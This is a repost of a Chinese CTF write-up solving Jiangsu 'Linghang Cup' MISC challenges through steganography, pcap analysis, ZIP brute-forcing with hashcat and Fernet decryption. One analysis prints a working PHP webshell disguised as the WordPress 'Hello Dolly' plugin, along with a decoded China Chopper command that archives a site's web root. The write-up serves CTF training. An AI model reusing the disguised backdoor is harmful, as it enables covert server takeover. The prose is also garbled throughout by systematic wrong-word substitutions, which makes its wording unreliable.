ToB企服应用市场:ToB评测及商务社交产业平台

标题: 2021、2022、2023年江苏省“领航杯”_CTF竞赛_MISC/WEB—部分WP [打印本页]

作者: 不到断气不罢休    时间: 2024-10-10 15:37
标题: 2021、2022、2023年江苏省“领航杯”_CTF竞赛_MISC/WEB—部分WP
一、媒介

都是网络来的往届领航杯赛题(2021,2022,2023等等),主MISC、副WEB、MISC附件已打包至下面"123网盘",当然题目相对应工具也同样云云,至于WEB很多做法不一,这里也仅供参考,网络不易,点个赞吧~
工具及附件分享

《123网盘下载》
   https://www.123pan.com/s/q2J1jv-I1Jvd
提取码:0905
  二、MICS

1、MICS-小明的困惑

题目描述:
小明收到一个图片,你能帮他找找都隐藏了什么吗?flag格式为找到的信息内容的md5值。CnHongKe{md5值}格式提交
解题思绪
下载附件得到一个压缩包,解压得到一张“misc_photo.png”;
“misc_photo.png”

咋一看又是以“png”结尾的图片隐写,盲猜宽高多少都有点题目,那待会我们丢进“Kali”简单分析一下;
在“Kali”中图片不显示,那就石锤宽高确实有题目,待会我们修改一下;

那既然在图片在“Kali”中,我们也趁便直接“binwalk”简单分析一下看看内里有没有藏什么东西;
下令;
  1. binwalk misc_photo.png
复制代码
得到;

从这内里我们不难看出,确实隐藏了一个“zip”也就是压缩包在图片中,那同样的我们也直接使用;
下令;
  1. binwalk -e misc_photo.png  --run-as=root
复制代码
得到;

也是成功分离出了一个需要暗码的压缩包,好像内里还有“flag.txt”(这里我们也不能确定就是最终的flag);

尝试爆破了一下差点没给我电脑干死机,那没折了,我们返回先前谁人宽高有题目的“misc_photo.png”,简单修改一下宽高看看有没有什么提示给我们;
“修改宽高”

最后“Ctrl+s”保存退出,右键选择打开方式为“绘图”即可;

哎,确实有发现像压缩包的暗码,但是提交发现不正确,这时候仔细观察这个可能是暗码的有“-”以是猜测可能还有后半段,那就直接在上一套基础MICS操作;
半段暗码:find_st

最后折腾来折腾去,也是在“kali”中使用了“zsteg”才发现了后半段暗码,那这时候没打仗过“zsteg”的师傅可能就有疑问了,什么是“zsteg”为什么可以查出图片中的隐写?不要紧我们这里就一起来简单分析一下“zsteg”;
什么是“zsteg”?有什么用?
   简单来说就是zsteg 是一个用于图像隐写分析的工具,重要用于检测和提取 PNG 和 BMP 图像中的隐藏数据。它能够自动检测各种隐写技术,如 LSB 隐写,常用于 CTF 比赛和网络安全范畴中的隐写题目。
  zsteg 的功能与用途
zsteg 的典型使用场景

常用下令
使用 zsteg 举行隐写分析非常简单,基本下令如下:
  1. zsteg -a image.png  # 对 image.png 进行全面隐写扫描
复制代码
解析
-a 参数表现自动扫描,zsteg 将尝试各种可能的隐写方式来分析图像中的隐藏内容。
总结
zsteg 是一款强大的隐写分析工具,专门针对 PNG 和 BMP 图像的隐写检测与数据提取,在 CTF 竞赛和数字取证中非常有效。它通过扫描图像的每个数据层和通道,资助用户快速发现息争码隐藏的信息。
这里我也没想到既然能藏这么深,使用了“zsteg”才找出,不过方法不唯一,前面既然说了“LSB”隐写,以是这里我们还可以使用“Stegsolve”来查找;
如图下;

仔细观察也是可以发现滴,不过这个就比力磨练眼里了嘛,以是组合起来的暗码就是;
暗码:find_steg_information
这时候我们再去打开谁人有锁的压缩包,发现成功打开,解压得到一个“flag.txt”,内容如下;
“flag.txt”

内里既然没有找到flag,那没办法老规矩“文本txt”隐写也不是没有,直接来上一套你会发现啥也没有发现,那就没办法了,我们仔细观察一下这一整个文本,会发现有一个规律,段落存在不一样的,有一行隔断和两行隔断,那我们对其简单总结一下;
“隔断一行与两行”

最后统计得出;
  1. 1211112212212221121121111122111112212221112221121211212212211212
复制代码
那这时候就要磨练各人的脑洞了,如果想不到那就是想不到了,毕竟人家是“MISC”嘛也算正常对吧,那有“MISC”不抽象的?这时候我们将“1”更换成“0”,“2”更换成“1”,最后的最后直接找一个“hex”在线解码即可
转换得到;
  1. 0100001101101110010010000011000001101110001110010100101101100101
复制代码
在线字符串二进制转换

可能这时候有的师傅就以为竣事了是吧?哎,还没有仔细检察要求:CnHongKe{md5值}格式提交
以是这里我们又找一个MD5在线加密网站
MD5在线加密

至此;
  1. CnHongKe{62912e0cb10240c1f323c719b7ec5706}
复制代码
2、MICS-流量分析

题目描述:
流量分析是溯源取证的重要途径,对流量举行分析,发现隐藏的信息。
解题思绪
下载附件得到一个流量包,反手丢到“Wireshark”中举行分析;

那这里可能很多师傅是第一次打仗MICS“流量分析”这种范例的题目,那下面我就来简单说一下,遇到这种MICS的“流量分析”我们应该从什么地方开始下手!
   往简单的来说,在 CTF 比赛中,流量分析类题目(通常以 pcap 文件为主)是常见的 MISC 题型之一。这类题目通常观察选手对网络协议的理解、流量分析工具的使用以及数据提取的能力。以下是流量分析题目的一般解题步调:**
  
常用的流量分析工具有:








常见流量分析题型:

总结
流量分析题的解题流程大抵分为:审题、导入文件、开端分析、过滤协议、数据提取和寻找非常。熟练掌握 Wireshark 和其他流量分析工具可以有效进步解题速度。
那这里给出的“题目描述”说的基本等于没说,以是这里我们直接先检察一下“协议分级”;
统计–>协议分级

得到;

不难看出“IPV4”下面的“TCP”以及“HTTP”较多,还还不难看出“HTTP”中肯定还传输了什么文件“Data”,以是我们直接右键选中“HTTP”下面的“Data”简单分析一下看看它传输了什么,一般这种就是我们的突破点;
作为过滤器应用—>选中

得到;

这样一筛选一共也没多少条数据包了,我个人比力喜欢按照数据包的大小举行排序来检察,以是这不最大的一个数据包就看见了含有“zip”,这八成铁定是个压缩包,就是不知道内里藏着什么东西,以是我们直接选中右键“追踪流”—"HTPP"即可;

但是我们不从这里导出,由于这个包的数据不完整,即使导出了而且删掉头留下“PK”,那也是打不开的压缩包没有效,那这里我们也懒得找了,既然知道它“HTTP”传了一个压缩包那我们直接选择右上角文件—>导出对象—>HTTP,按照这个步调来,就可以看见它传输的文件内容;
文件—>导出对象—>HTTP

得到;

这边我也是简单按“文件大小”排了个序,刚刚好最大谁人也是刚刚我们前面看见的“zip”,那在这里我们在“选中文件”,点击保存,保存格式为“.zip”结尾(只有这样我们导出的压缩包才算是完整的,当然这样也是最方便的,要不然你还得去那么条数据中找到谁人完整的“zip”);
保存完之后,打开方式选择“010”打开并编辑压缩包,由于压缩包的前面还有一些沉余数据,我们选中删除接着“Ctrl+s”保存即可;

“Ctrl+s”保存,正常打开即可;

得到;

发现需要暗码,然后下意识的就想返回流量包中继续寻找,但是仔细观察压缩包中会发现有两个“pwd”,这很明显是两个暗码,以是可能就是这两个暗码组合就是这个压缩包暗码,但是我们又不能取出来,这时候使用“WINRAR”打开发现两个“txt文档”的字节是小于18的,以是我们可以使用工具爆破工具“hashcat”,这里可能有的师傅第一次打仗“hashcat”,以是待会我们一起说明一下;
什么是“hashcat”?
   简单来说Hashcat 就是一个广泛使用的暗码破解工具,支持多种暗码哈希算法和攻击模式。它通常用于暗码哈希的破解,例如 MD5、SHA1 等,但也可以用于爆破加密的压缩包。具体来说,Hashcat 在面对加密的 ZIP 文件或其他压缩包时可以用来举行暴力破解或基于字典的攻击。
  Hashcat 爆破压缩包的适用场景
Hashcat 适用于破解的场景重要包括以下两种环境:
使用 Hashcat 爆破压缩包的步调
Hashcat 爆破压缩包的常见攻击模式
总结
Hashcat 可以用于破解加密的压缩包文件(例如 ZIP 和 RAR)。我们可以先使用 zip2john 或 rar2john 提取压缩包的暗码哈希值,然后使用 Hashcat 通过字典或暴力破解的方式寻找正确的暗码。这在忘记暗码或需要获取加密文件内容时是一个有效的方案。
hashcat官方下载链接
   注意!!从hashcat官网(https://hashcat.net/hashcat/)下载所需版本 当前最新版本为V6.2.6 ,
binaries为直接安装使用版本
sources需要编译后安装。
下载完成后,解压安装包即可在下令行使用,hashcat无图像化界面,所有下令通过cmd执行
  推荐

下载并解压完毕,我们将刚刚导出的压缩包移动到刚刚解压出“hashcat”的目录下,接着在当前目录下唤出cmd终端即可;

当然我们在使用下令破解压缩包时,那首先肯定是要知道压缩包的CRC值,那什么是所谓的“CRC值”呢?
什么是压缩包的CRC值?
   简单来说实在就是压缩包的 CRC(Cyclic Redundancy Check)值 是一种用于验证文件完整性的校验值。在压缩文件中,尤其是像 ZIP 格式的压缩包,每个被压缩的文件都会生成一个 CRC 值,用于确保文件在传输或存储过程中没有被破坏。
  CRC 值的作用:
CRC 在破解压缩包中的作用:
在破解加密压缩包时,特别是在暴力破解暗码的过程中,CRC 值可以资助确认破解是否成功。如果解压后文件的 CRC 校验通过,说明暗码正确,解压出的文件是完整的。否则,即使暗码能解压出文件,文件可能照旧破坏的。
CRC 值的特点:

CRC 值在 ZIP 文件中的表现:

因此,CRC 值在压缩包中起到了文件完整性验证的关键作用,确保文件解压后没有发生破坏或数据丢失。
这里我们使用“WINRAR”来举行检察压缩包的CRC值;

以是我们使用下令;
  1. ./hashcat -m 11500 -a 3 F6151584:00000000 ?a?a?a?a?a --keep-guessing -- potfile-disable -D 1
复制代码
下令解析
首先可以肯定就是这个下令是使用 Hashcat 来破解使用暗码保护的压缩包的暗码。








总结:
这个下令表现使用 Hashcat 的 ZIP 文件暗码破解模式(模式 11500)举行暴力破解,尝试所有字符(小写字母、大写字母、数字、特别符号等)构成的 5 位暗码。下令禁用了 potfile,而且将使用 CPU 举行计算。如果找到暗码,Hashcat 会继续举行猜测。
很快结果就出来了,得到三个可能,临时还不确定,我们继续使用“hashcat”破解下一个;

得出三种可能;
  1. pwd1.txt
  2. CRC32
  3. 3n26b
  4. /!n7v
复制代码
继续使用下令;
  1. ./hashcat -m 11500 -a 3 D7057C36:00000000 ?a?a?a?a?a --keep-guessing -- potfile-disable -D 1
复制代码
下令解析同上,这里就改了一个“pwd2.txt”的CRC值,别的无变化;

也是得出四种可能;
  1. pwd2.txt
  2. _saFe
  3. ~-q/)
  4. C<=Gq
  5. bb-.=
复制代码
尝试拼接,一个一个来,首先就是:CRC32_saFe
成功;

“pwd1.txt”

“pwd2.txt”

“news.docx”

这边我缩小来举行分析,Ctrl+A全选的时候,发现了一个很可疑的地方,图片背面有一个玄色的框框,此时我们删除表面上的图片,又得到一个二维码,扫码最后得出flag!

使用专业扫码工具”QR_Research“扫码得出flag;

至此;
  1. flag{266a894e27a7ce74cdebc72aec7d0703}
复制代码
3、MISC-神奇的压缩

题目描述:
差别的压缩格式有什么区别,压缩一个小文件举行N次压缩文件怎么会越来越大,你能挑战压缩包套娃么
解题思绪
下载附件得到一个压缩包,解压得到两个文件“readme.txt”及空缺文件“2”,那我们来一起分析一下这两个文件有什么特别之处;
“readme.txt”

“2”

临时没有看出什么,那这里我们可以使用“Liunx”来识别一下空缺文件“2”是什么范例的文件;
下令
  1. file 2
复制代码
得到

那这里我们就继续,根据得到的文件格式,继续解压,直到解压失败为止,读取每一轮解压文件中的readme.txt
那这里我们可以写一个自动化解压缩的脚本,适用于差别的压缩文件范例,而且会在解压之后清算原始文件。
  1. for ((i=1;i<501;++i))  # 循环从1到500次
  2. do
  3. an=`file $i`  # 使用 file 命令检测文件类型,结果保存在变量 an 中
  4. if [[ "$an" =~ .*"7-zip".* ]]; then  # 如果文件类型包含 "7-zip"
  5.     7z e $i && rm $i  # 使用 7z 解压文件,解压后删除原始文件
  6. elif [[ "$an" =~ .*"bzip2".* ]]; then  # 如果文件类型包含 "bzip2"
  7.     tar xvjf $i && rm $i  # 使用 tar 解压 bzip2 格式文件,解压后删除原始文件
  8. elif [[ "$an" =~ .*"gzip".* ]]; then  # 如果文件类型包含 "gzip"
  9.     tar xvzf $i && rm $i  # 使用 tar 解压 gzip 格式文件,解压后删除原始文件
  10. elif [[ "$an" =~ .*"XZ".* ]]; then  # 如果文件类型包含 "XZ"
  11.     mv $i $i.xz; xz -d $i.xz; tar xvf $i && rm $i  # 将文件名后缀改为 .xz,解压后删除原始文件
  12. elif [[ "$an" =~ .*"Zip".* ]]; then  # 如果文件类型包含 "Zip"
  13.     unzip $i && rm $i  # 使用 unzip 解压文件,解压后删除原始文件
  14. fi
  15. cat readme.txt && rm readme.txt  # 输出解压后目录中的 readme.txt 文件内容,并删除 readme.txt
  16. done  # 结束循环
复制代码
简单分析一下;
那具体需要我们怎么操作呢?首先在“Kali”中创建一个“123.sh”的文件,接着把我们刚刚写吼的脚本粘贴到内里“Ctrl+s”保存即可,再然后新建一个新的”123.txt“用于保存我们脚本输出的关键信息,这里需要注意的是“2”及”readme.txt“文档是需要跟我们的脚本在同一目录下;
什么是“.sh”文件?
   简单来说.sh 文件是 Shell 脚本文件,重要用于在基于 Unix 的系统(如 Linux、Kali Linux)中运行一系列下令。它通常包含了 Shell 下令、变量、控制布局(如 if、for 循环等)以及其他系统任务的自动化脚本。
  Shell 脚本的特性

.sh 文件的布局
一个典型的 Shell 脚本文件布局如下:
#!/bin/bash # 这是一行注释,开头的 # 是注释符号 # 输出 "Hello, World!" 到终端 echo "Hello, World!"

常见用途

简单来说,.sh 文件是用于执行一组 Shell 下令的脚本文件,在 Kali 和其他 Linux 系统中广泛用于自动化和批处置惩罚任务。
齐备准备就绪,右键唤出终端;

使用下令;
  1. bash 123.sh > 123.txt
复制代码
简单分析;
总结:这个下令将 123.sh 脚本的所有标准输出保存到 123.txt 文件中。

至此;
  1. flag{2967b239aea9c72e93279ac06a92fb1f6438a66c}
复制代码
4、MICS-SecertData

题目描述:
从网络中捕获一个可疑数据包,请分析其中隐藏的数据。
解题思绪
下载附件得到一个“a294a59a-e89e-4680-8d23-ba574bfccfb1.secret_data”,也不知道是啥文件,丢进“kali”使用“file”简单举行检察一下;

白看,那没办法,我们使用十六进制编辑器“010”举行简单分析一下;

上来就看见“50 4B 03 04”压缩包开头不过这个好像被逆序了,临时不确定我们继续往下分析一下;

翻到最底下,可以确认的是这就是一个压缩包,而且压缩包内里还存在一个“xlsx文件”,实在“xlsx”文件本质实在就是zip压缩包,以是我们直接写一个八位一逆的脚本,简单的举行逆序一下;
脚本如下(Python)
  1. # 打开名为 'secret_data' 的文件,以二进制读模式 ('rb') 读取内容
  2. f = open('secret_data','rb')
  3. data = f.read()  # 读取文件中的所有数据
  4. f.close()  # 关闭文件
  5. d = bytearray()  # 初始化一个空的字节数组,用于存储处理后的数据
  6. # 遍历数据,每次处理8字节
  7. for i in range(0, len(data), 8):
  8.     # 取出8字节数据,并将其反转后添加到字节数组 d 中
  9.     d.extend(data[i:i+8][::-1])
  10. # 打开名为 'flag.zip' 的文件,以二进制写模式 ('wb') 打开
  11. f = open('flag.zip','wb')
  12. f.write(d)  # 将处理后的数据写入文件
  13. f.close()  # 关闭文件
复制代码
简单分析一下
脚本的目的是对原始数据举行块处置惩罚和反转操作,然后将结果保存到新文件中。
运行得到;

我们打开“flag.txt”确实如我们之前所想是一个表格;

这时候解压打开表格,发现关键;
“Sheet1”无任何发现

“Sheet2”发现flag,不过发现需要暗码,这时候掏出我们的工具“PasswareKitForensic”专门破解表格暗码的工具;
“PasswareKitForensic”工具简介
   Passware Kit Forensic 是一个用于计算机取证和数据规复的强大工具。它重要用于资助执法机构、企业安全团队以及取证专家从各种装备中提取、解密和分析数据。以下是 Passware Kit Forensic 的一些重要功能和特点:
  重要功能:

检察具体信息;

使用“PasswareKitForensic.exe”暴力破解得到;

暗码:DHMZWAQWZDFMRJQ

最后全选右键点击“取消隐藏即可看见”;

至此;
  1. flag{658f1080a2ed0a8109153799c6f30128}
复制代码
5、MISC-我要这key有何用

题目描述:
光有钥匙可不行,还要有锁啊
解题思绪
下载得到一个“PDF”格式文件,打开是一片金刚经;
“821f1bdc-7fd8-4fd7-8acf-e55e3e33859d.pdf”

这题可以来说是一题比力新的“PDF”隐写,那这里我们充分使用题目给出的提示“光有钥匙可不行,还要有锁啊”,以是我们直接在“PDF"中“Ctrl+f”查找“key”;

发现每一页的背后都藏有东西,这里我们直接“Ctrl+c”直接复制到“txt”文档中看看是什么;
最后零零散散复制到的;

这里复制的时候发现虽然每一页都有东西,但是每一页的都是重复的,以是这里我们拼起来就是;
  1. key:y0u_cAn_n0T_sEe_Mekey y0u_cAn_n0T_sEe_Me
复制代码
但是光有钥匙确实也没有效啊,于是又开始了漫长的寻找,终于也是在“kali”中使用“strings”来举行分析“PDF”的时候有关键发现;
下令;
  1. strings 123.pdf |grep flag
复制代码
得到;

既发现了“flag.txt”又发现了“flag.rar”,那这时候肯定是想办法给整出来啊,那这里我们直接尝试一下修改扩展名为“123.rar”试试看能不能直接解压;

果然不出我们所料,它是直接可以提取的,那为什么会这样呢?由于之前在使用“010”分析“PDF”的时候偶然发现了它的文件头既然是;
更具体一些解释为;
将文件的扩展名从 .pdf 改为 .rar 可能会使压缩包看起来像是一个 RAR 文件,但这并不会改变文件的现实内容或布局。
扩展名只是文件名的一部分,用于告诉操作系统和应用程序文件的范例。改变扩展名不会现实改变文件的内容或布局。例如,将 .pdf 文件改为 .rar,文件内部仍旧是 PDF 格式的数据。因此,某些压缩软件可能仍旧可以尝试读取它,即使它不是一个有效的 RAR 文件。
一些压缩工具(例如 WinRAR、7-Zip 等)具有肯定的容错能力,它们可以处置惩罚一些格式不完全符合规范的文件。在某些环境下,它们可以尝试读取文件内容,即使文件扩展名不匹配。这是由于这些工具可能会基于文件的现实数据而不是文件名来识别文件格式。
文件的现实格式是由其头部信息(文件署名)决定的,而不是仅仅由扩展名决定的。如果一个 .pdf 文件的开头部分仍旧保留了 PDF 文件的标识,那么某些压缩工具可能会尝试读取它,即使扩展名被更改为 .rar。
偶然候,将文件扩展名更改为其他格式只是为了测试软件的行为大概验证工具的容错能力。这种操作不会改变文件的现实数据,只会影响文件的识别方式。
总结:
   扩展名的修改不会现实改变文件的内容或布局。如果你将 .pdf 文件的扩展名改为 .rar,文件内部的数据仍旧是 PDF 格式的。这就是为什么在更改扩展名后,压缩软件仍旧可能尝试打开它,但这并不意味着文件内容真正符合 RAR 格式。
  

以是拿着钥匙打开压缩包得到;

至此;
  1. flag{d3fb34ef4a53552f3e4706351c9306a9}
复制代码
6、MICS-黑客流量分析

题目描述:
服务器网站被入侵了,植入了一个变异的shell,对入侵流量举行分析,寻找蛛丝马迹,变异shell的菜刀连接木马即为flag。
解题思绪
下载附件得到一个压缩包,解压得出一个“2.pcapng”,根据题目提示,我们直接丢进“Wireshark”中举行分析;

那题目描述既然都说了植入了一个变异的“shell”,那我们直接逮着“HTTP”,由于想植入也就只有可能从“HTTP”中上传进入;

不难看出有几个“webshell”照旧比力明显的,那我们一个一个右键“HTTP”举行分析;

这边最终也是在包大小为“1107”中发现了关键,这一段流量实在也是“Apache”的菜刀流量,那是怎么辨别出来的呢?
   简单来说这段就是典型的“菜刀(China Chopper)”的流量片断。菜刀是一款被黑客广泛使用的后门工具,通常用于远程控制服务器,并在目的系统上执行下令。这种流量通常表现在 POST 请求中,通过对通报的下令举行编码息争码,绕过防火墙或入侵检测系统 (IDS/IPS)。
  怎样识别这是 Apache 的“菜刀”流量:
分析这段流量的步调:
分辨步调总结:
总之,这段流量中包含了编码的 PHP 代码,并使用 eval() 动态执行,结合菜刀的特定传输模式和混淆方式,可以明确这是菜刀流量的一部分。
那既然知道菜刀流量中带有“URL”编码,我们直接找一个“URL”解码在线网站举行解码即可;
URL在线解码

这边也是成功得出“base64”,直接解码得到;
base64在线解码

得到;
  1. cd /d "C:\Inetpub\wwwroot"&"C:\Program Files\WinRAR\rar.exe"   a   C:\phpStudy\WWW\www.zip  C:\phpStudy\WWW\www&echo [S]&cd&echo [E]
复制代码
简单分析一下;
在 Windows 系统下使用 WinRAR 工具对指定目录举行压缩,并生成一个 .zip 文件。




总结
这个下令通常用于备份网站的内容,将 wwwroot 或类似目录中的文件打包成压缩文件,便于存档或传输。在这段下令中,备份的对象是 C:\phpStudy\WWW\www。
那既然知道它有一个“rar”的压缩包了,那我们就继续返回“HTTP”中,寻找它压缩的文件;

很快也是在包大小为“912”中发现了痕迹,但是这里直接导出也是不行的,以是为了节省点时间,我们直接全部“导出对象”,按包的大小排序来判断谁人才是最后的“www.zip”;

导出对象—>HTTP,最后保存位置选择一个空的文件夹即可

导出也是“按照文件大小”简单排个序,接着选中“打开方式”选择我们的十六进制分析工具“010”来举行分析即可;

这里不难看出确实有一个“RAR”压缩包的头部,但是有多余的数据,不过不要紧,我们直接选中删除即可;

注意删除完“Ctrl+s”举行保存;

后缀改为“rar”结尾;

解压得到;

这里实在也文件名也给出了题目,在结合我们的描述,很明显是要查找“webshell”,那既然是“phpstudy”,肯定就是在“WWW”目录下,这边有一些基础的师傅肯定明白这个“phpstudy”这是一个集成工具,用来挂网站的,至于我们所说的“WWW”目录就是用来存放上传文件的地方,但是这里如果我们手动去翻“WWW”目录这里太多了,肯定需要很多才能找到黑客上传的“webshell”,以是这里我们用一个查杀“webshell”的工具“D盾”,这个工具专门来查杀“WWW”目录下的“webshell”;
“文件太多”一个一个翻不切现实,直接上工具“D盾”举行“webshell”查杀;

“D盾”举行查杀,很快也是有了线索,直接根据目录,选中“hello.php”文件右键“记事本”打开举行分析即可;

“右键记事本”打开得到;

提取其中的关键信息;
  1. <?php
  2. /**
  3. * @package Hello_Dolly
  4. * @version 1.6
  5. */
  6. /*
  7. Plugin Name: Hello Dolly
  8. Plugin URI: http://wordpress.org/plugins/hello-dolly/
  9. Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
  10. Author: Matt Mullenweg
  11. Version: 1.6
  12. Author URI: http://ma.tt/
  13. */
  14. if(empty($_SESSION['cfg']))                        $_SESSION['cfg']=file_get_contents(hex2bin('687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73
  15. '));
  16. $arr=array(str_rot13(base64_decode($_SESSION['cfg'])),);
  17. array_filter($arr,str_rot13(base64_decode('bmZmcmVn')));
复制代码
简单分析一下;
   这段 PHP 代码看似是 WordPress 插件的声明代码,但现实上存在恶意行为。它可能是一个伪装成正常插件的恶意脚本,含有后门功能或恶意代码。以下是具体分析:
   这一部分是一个典型的 WordPress 插件头信息,描述了插件的名称、描述、版本、作者等信息。这段代码仿冒了 WordPress 的经典插件“Hello Dolly”,使其看上去像是一个正常插件,掩饰了重要代码。


特征总结

特征

拓展;
这种伪装插件的攻击方式常常用于 WordPress 等盛行的 CMS 系统,使用插件机制举行病毒传播。
那这里我们既然知道了关键的解码操作,直接对关键字段解码即可;
  1. 687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73
复制代码
“十六进制转文本”

得到;
  1. http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js
复制代码
简单分析;
http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js
是一个本地服务器 URL,它指向 WordPress 主题 twentysixteen 下的 JavaScript 文件 ui.js。以下是对这个 URL 的分析:



总结:

那我们只跟进目录举行分析:wp-content/themes/twentysixteen/js/ui.js

选中文件“打开方式”选择“记事本”即可;

得到;
  1. QHJpbnkoJF9DQkZHWyJvN3BxbnMwMzBxNTlzc3JxNzMxcXBuMDFuMTU2NXJybyJdKQ==
复制代码
base64在线解码

得到;
  1. @riny($_CBFG["o7pqns030q59ssrq731qpn01n1565rro"])
复制代码
以为这就竣事了?返回“hello.php”文件中再次举行分析;

还有一个“rot13”解码呢,直接再次找一个解码网站举行解码即可;
rot13
最后的最后也就得到;

至此;
  1. @eval($_post["b7cdaf030d59ffed731dca01a1565eeb"])
复制代码
按照提交格式要求;
  1. flag{b7cdaf030d59ffed731dca01a1565eeb}
复制代码
7、MISC-女儿的秘密

题目描述:
偷偷找到了女儿藏起来的宝贝,看看是啥
解题思绪
下载附件得到一个压缩包,解压出来得到一个空缺文件“number6”,咱也不知道是什么文件,使用“010”简单分析一下;
“number6”

这边临时没看出什么,但是之前打开文件的时候发现它是一个“Re”文件内里的;

以是这时候我们就要怀疑是不是与“reverse”相关,反正现在也没有思绪干脆直接将这些数字“reverse”一下看看;
“reverse在线”

这时候我们在仔细观察一下数据区域,看起来特别像是一个十六进制字符串,以是这里既然使用了“cyberchef”,那我们直接“From Hex”试试看;

得到;

打开压缩包但是发现需要暗码,那没办法了,直接上工具举行爆破,这里我选的“PasswareKitForensic”,该说不说这个工具确实很香啊,这里在简单先容一下这个工具;
   简单来说就是Passware Kit Forensic 是一款强大的取证工具,专门用于暗码规复、加密文件破解以及数字取证分析。
  重要功能:
特点:

反正我感觉除了破解的有点慢别的的都OK,反正也不是很着急就给它继续破解了,最后也是成功得到;

最后也是得到暗码:674344
打开压缩包得到“secret.txt”以及“女儿照片.jpg”;
“secret.txt”

“女儿照片.jpg”

“女儿照片.jpg”发现打不开丢进“010”简单分析一下;

发现是“docx”的后缀格式,修改“docx”后缀打开,得到一张图片,全选的时候发现下面一处可疑;

这边我们直接把字体颜色换一个颜色试试看;

也就得到;

  1. 6347467a637a7046636d6f31565739615a6e423456445133516d70775a7a68785a7a4659625531445331703553304a714d574a4b4d47393063337057576c427250513d3d
复制代码
看着这串数字又非常像“hex”,那我们直接使用在线的“cyberchef“转换一下试试看;

得到:cGFzczpFcmo1VW9aZnB4VDQ3QmpwZzhxZzFYbU1DS1p5S0JqMWJKMG90c3pWWlBrPQ==
那都是“base64”摆着我们面前了,直接解码的得到;

得到;
  1. pass:Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=
复制代码
到这也没什么思绪了,直接又返回“secret.txt”举行分析,忽然悟了,这个好像是“典型的fermet加密”,那这里可能有的师傅可能就迷惑了,这是怎么看出来的呢?
那在次之前我们得先简单相识一下什么是“fermet加密”?
   简单来说Fernet 加密是一种基于对称加密的方案,从属于 Python cryptography 库中的加密算法。它接纳了 AES(高级加密标准)算法举行加密,并使用 HMAC-SHA256 举行消息认证。Fernet 的重要特点是确保加密的数据在传输时既安全又完整。
  Fernet 加密的特点:
Fernet 密文布局:

使用场景:

总之,Fernet 加密以其简单易用、安全性高的特点,广泛应用于需要保护数据传输和存储的场景中。
那这里我们是怎么分辨出这是“Fernet 加密”的呢?


这些部分组合在一起,然后举行 Base64 编码,形成最终的加密字符串。Fernet 加密后的密文通常较长,且布局清晰,这正是典型的 Fernet 加密字符串的特征。



总结

以是这里直接上脚本跑一下试试看;
脚本如下(Python)
  1. # 从 cryptography.fernet 导入 Fernet 类,用于加密和解密
  2. from cryptography.fernet import Fernet
  3. # 初始化 Fernet 对象,传入的密钥是用于加密/解密的对称密钥
  4. # 这里的密钥是 base64 编码的字节串
  5. f = Fernet(b'Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=')
  6. # 加密后的密文,用 Fernet 加密生成的一串 base64 编码的字节串
  7. miwen = b'gAAAAABk2vY8KwxIv0n9XgVk8EPbQimR9iCqSX_crxcRSf-z2RV2rX2Ol1KHmbeAsxOyGR_i73vrl0FgLDCHHP9wWaXz37r5NmaWFXCwETQ2tYJM8vIFJVZ1Ptmtt2O7fXPQg6xA5-_dFOi-FYjF2RiqfXc39rbBLA=='
  8. # 使用 Fernet 对象 f 解密密文,得到原始明文并将其解码为字符串
  9. mingwen = f.decrypt(miwen).decode()
  10. # 打印解密后的明文
  11. print(mingwen)
复制代码
简单分析;
运行得到;

至此;
  1. flag{60b60e103285af9336b99d57b03b1152}
复制代码
8、MICS-snow

题目描述:
你能找到隐藏在雪中的秘密吗?
解题思绪
下载附件得到一张图片,丢进“010”简单分析一下;
“123.png”

“010”简单分析,在最底部很快就发现存在“jpg”图片的尾部,那这时候猜测是不是内里还有一张“jpg”格式的图片,我们需要给它提取出来;

那在此之前我们需要先解释一下“jpg”图片的格式是什么样的,那这里我们干脆全部简单先容一下常见的图片格式以及文件头部“十六进制”表现;

FF D8 ... [图片内容] ... FF D9

89 50 4E 47 0D 0A 1A 0A ... [图片内容]

47 49 46 38 39 61 ... [图片内容]

42 4D ... [图片内容]

49 49 2A 00 ... [图片内容] 或 4D 4D 00 2A ... [图片内容]

52 49 46 46 ... 57 45 42 50 ... [图片内容]

00 00 01 00 ... [图片内容]
那这里既然我们已经知晓了“jpg”图片的“十六进制”格式,以是这里我们需要先找到“jpg”图片的头部,就在内里逐步找很快就发现了关键;

对其“JPG”文件头部举行修改“FF D8 FF E1”,最后我们选中其“JPG”格式最上方沉余的数据,全部选中删除!

只留下“JPG”图片的数据,最后“Ctrl+s”保存,接着退出,修改图片的后缀为“.jpg”,这时候再次打开图片会发现底部有一部分隐藏的东西,那现在的思绪就是修改“JPG”图片的宽高了;

那修改“JPG”图片格式的宽高,差别于“png”格式来说那么固定,那这里我们就一起来简单分析一下“关于JPG格式修改宽高”;
JPG格式图片与PNG格式图片在十六进制中修改宽高的区别:
首先就是JPEG (JPG) 格式的图片文件存储的是压缩后的图像数据,元数据信息如宽度和高度通常存储在SOF (Start of Frame) 标志中。

其次就是PNG格式的图片文件是无损压缩格式,元数据(如宽度和高度)存储在 IHDR(Image Header)块中。


区别与修改总结

具体的操作步调:
那现在我们以及大抵相识了“JPG”修改图片的需求,以是这里我们直接使用搜索工具查找“FF C0”对其后的字节举行修改即可;

那我们这边一共是查出三个“FF C0”,那既然现在我们不知道哪一个才是具体的宽高,我们干脆三个全部举行修改,以后遇到的也可以这样逐步举行尝试;
修改“FF C0 00 11 08 00 F0”

修改"FF C0 00 11 08 00 F0"

修改"FF C0 00 11 08 04 F0"

最后“Ctrl+s”举行保存,打开图片;

得到一窜数字临时不知道是什么东西,先记录下来;
暗码:8513267904441230
那现在思绪又断了,但是忽然想到刚刚提取出来的“JPG”格式图片既然与“PNG”格式一模一样,怀疑这可能就是“PNG“图片的单图盲水印,由于也就只有这种环境下,才会出现两个不一样格式但是内容雷同的图片,以是这边我们直接上盲水印工具全部尝试一遍;
“WaterMark”无发现;

